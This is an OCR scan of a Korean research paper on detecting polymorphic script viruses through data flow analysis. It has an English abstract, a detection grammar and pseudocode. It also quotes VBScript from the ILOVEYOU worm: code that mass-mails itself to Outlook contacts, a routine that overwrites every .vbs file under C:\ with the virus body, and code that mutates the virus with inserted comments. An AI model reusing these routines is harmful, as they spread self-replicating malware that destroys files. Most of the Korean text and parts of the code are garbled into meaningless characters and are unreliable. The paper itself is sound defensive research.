CrEd A3RE di0j34 BXE 218 X8 S8 2478 #F 843

A A238E blo]y] & EXE 95
= =

e 55 BA7Ee B3
4" atol 8 Foo oy g o

[+] of

2AYE vlolg] 2 AXo] 41 HAE PHo2 I=r} {EHE FAHLE AF ¥F 2do] Mg, ADHH AEHA ekn EA
gele AlE7t olfelxx ik gt ojeld de FElad IWe T LF7 ¥ ©H) At olE AMEY] A8 As 2E £4E
olgste] e F&E e BA 7ol ANHIUT 22y o] JHE FA dide] B¥A nlojidM ALg o] 4 WYL Y F A=
& BAEE BER Yoz ddE Ae FA%A Rie dHe Ado ol FE7] JF £ =RAME 7€ A7 55 Y Fux
B 71%el 7 AH 4 J1EE #3td tyA £23RE ulolgar) A EAR §AE & RS de JIYe At $3d A
8 25 24 Fo29 VIYe #3d BUE B 7€ el A4 # gd BYd B4 dotE d4E 5 Ao EF B =RdMe
AGd 71HE TEst A Y] JHAE FAEd dE AY 2 ANE

An Extension of Data Flow Analysis
for Detecting Polymorphic Script Virus

Cholmin Kim' - Hyoungjun Lee'- Seong-uck Lee' - Manpyo Hong''*

ABSTRACT

Script viruses are easy to make a variation because they can be built easily and be spread in text format. Thus signature-based method
has a limitation in detecting script viruses. In a consequence, many researches suggest simple heuristic methods, but high false-positive error
is always being an obstacle. In order to overcome this problem, our previous study concentrated on analyzing data flow of codes and has
low-false positive error, but still could not detect a polymorphic virus because polymorphic virus loads self body and changes it before make
a descendent. We suggest a heuristic detection method which expands the detection range of previous method to include polymorphic script
viruses. Expanded data flow analysis heuristic has an expanded grammar to detect polymorphic copy propagation. Finally, we will show the
experimental result for the effectiveness of suggested method.

JIYUE : AFBE HIOIZA(Script Virus), Xtz SR B4 (Data Flow Analysis), BIO| 2 CHM(Virus Polymorphism)
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set out = WScripl. Create Obje ct("Outiock Appiication”)

satmap = oul
GetNameSpace
AddressUsts
Createltem
AddressEntries
| Attachments
AddressEntries
setmale = cut{Createltemio)
MAP male RecipientsAdd(malead)
W mae.Subject = "ILOVEYOU"
Alachments male.Bady = "check the attached LOVELETTER coming from
Send

me."
male[AHBGIMBNI At (*WLOVE - LETTER-FOR-YOU,TXT.vbs")
meie(Gend

next
next

(22 1) 21= 2 H(love-letter worm)e| L5

(28 D& A2 $8E T3 dass nFg o)z ~
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Set fso = CreateObject(“Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll 29 gE-g S
file.close
folderlist(“C:\")
sub folderlist(folderspec) ‘BE ZF0E B8, infectfiles&
3%
dim f, f1, sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each fl in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub infectfiles(folderspec)
dim f, f1, fc, ap
set f = fso.GetFolder(folderspec)
set fc = fFiles
for each fl1 in fc
if fso.GetExtensionName(fl.path) = “vbs” then
set ap = fso.OpenTextFile(fl.path, 2, true)
ap.write vbscopy
ap.close
end if
next
end sub
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set = CreateObject(“Scripting FileSystemObject”)

set dirsystem ={fsolgetSpecialFolder(1)

set [c | [fsofGetFile(WScript ScriptFullName)

opy (dirsystem&\LOVE-LETTER-FOR- YOU.TXT.VBS")|
set Jout] = WScript.CreateObject(Ou
set CreateItem(O)

[male}Attatchments. Add(dirsystem"\LOVE-LETTER-FOR-YOU.TXT.VBS’]

Application

send

(32! 3) LOVE-LETTER Hjolz{29] 42
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variable <assignop> factor
variable = <identifier>
factor = <identifier>

| <number>

| <literal>
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variable := factor
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CommentPlace = te(UBound(Strings)/CommentsCount)
y=0
For b = 0 To UBound(Strings) step 1
= DoMutateBody &
y=y+
If y = CommentPlace

Comment = Mak&Ga

[DoMutateBody| = [DoMutateBody] & Comment

y =

& vbCrLf

ent

End If
Next
IMutator] = | DoMutateBodyl
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variable <assignop> expression
variable := <identifier>
expression ‘= factor
| constant
| expression <op> factor
| expression <op> function
| expression <op> parenthesis
| expression <op> constant
function := <identifier> ‘’ expression ‘)’
parenthesis = ‘(" expression ')’
factor = <identifier>
constant ‘= <number>
| <literal>

(T2 6) &aE SANLIL O|R0IKIE SHOI| CHEH BNF EH

2 O
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G =1{g | g:‘varable: = ', f F}

when F = {f | f: factor assign statement}

A& 5o (1€ 59 2E FdM A WA F& B,
Strings W9 & AASE dibdA AMEE HF code
ToMutate, vbCrLf7} StringsSt MEHQ EBEALES 3As
A @t A AR A% Fe G 47 g #2o.

F = ‘codeToMutate’, ‘vbCrLf’
G = ‘Strings := codeToMutate’,
‘Strings = vbCrLf’
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Input : Script file in text form (__vbs)
Output : Yes/No value whether the input file is a virus or not

Initialize this to indicate the first line of input file
Initialize F set and G set empty
Loop (until this reach to end of the input file)
{
S = Readline this
If (self-open behavior is detected in S)
Add self-saved variable in S to F set
if (more than one element in F set or G set is found
in L-value of S AND S has a form of one of a
statement in figure 6)
Add r-value of S to G set
if (more than one element in G set is written to
certain file)
Print Yes
Halt
Increase this to indicate next line
}
Print No
Halt
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